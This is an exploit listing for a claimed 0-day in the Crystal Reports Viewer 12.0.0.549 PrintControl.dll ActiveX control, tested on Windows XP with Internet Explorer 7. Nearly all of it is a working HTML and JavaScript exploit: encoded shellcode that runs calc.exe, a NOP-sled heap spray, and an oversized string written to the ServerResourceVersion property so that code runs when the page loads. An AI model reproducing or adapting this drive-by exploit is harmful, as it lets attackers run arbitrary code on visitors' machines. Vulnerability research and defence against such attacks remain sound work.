Crystal Reports Viewer 12.0.0.549 – ‘PrintControl.dll’ ActiveX
<!-- Crystal Reports Viewer 12.0.0.549 Activex Exploit (PrintControl.dll) 0-day By = Dr_IDE File = "C:\Program Files\BusinessObjects\Common\4.0\crystalreportviewers12\ActiveXControls\PrintControl.dll" method = "ServerResourceVersion" progid = "CrystalPrintControlLib.CrystalPrintControl" Site = http://www.sap.com Tested On = Windows XPSP3 VM with IE 7.0.5730.13 Notes = In my testing it was not 100% reliable. --> <html> <object id='target' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object> <script> //payload is windows/exec cmd=calc.exe shellcode = unescape( '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); nops=unescape('%u9090%u9090'); headersize = 20; slackspace= headersize + shellcode.length; while(nops.length < slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<0x40000) block= block+ block+fillblock; memory=new Array(); for( counter=0; counter<300; counter++) memory[counter]= block +shellcode; ret=''; for( counter=0; counter<=2000; counter++) ret+=unescape('%u0A0A%u0A0A'); target.ServerResourceVersion = ret; </script> </html> |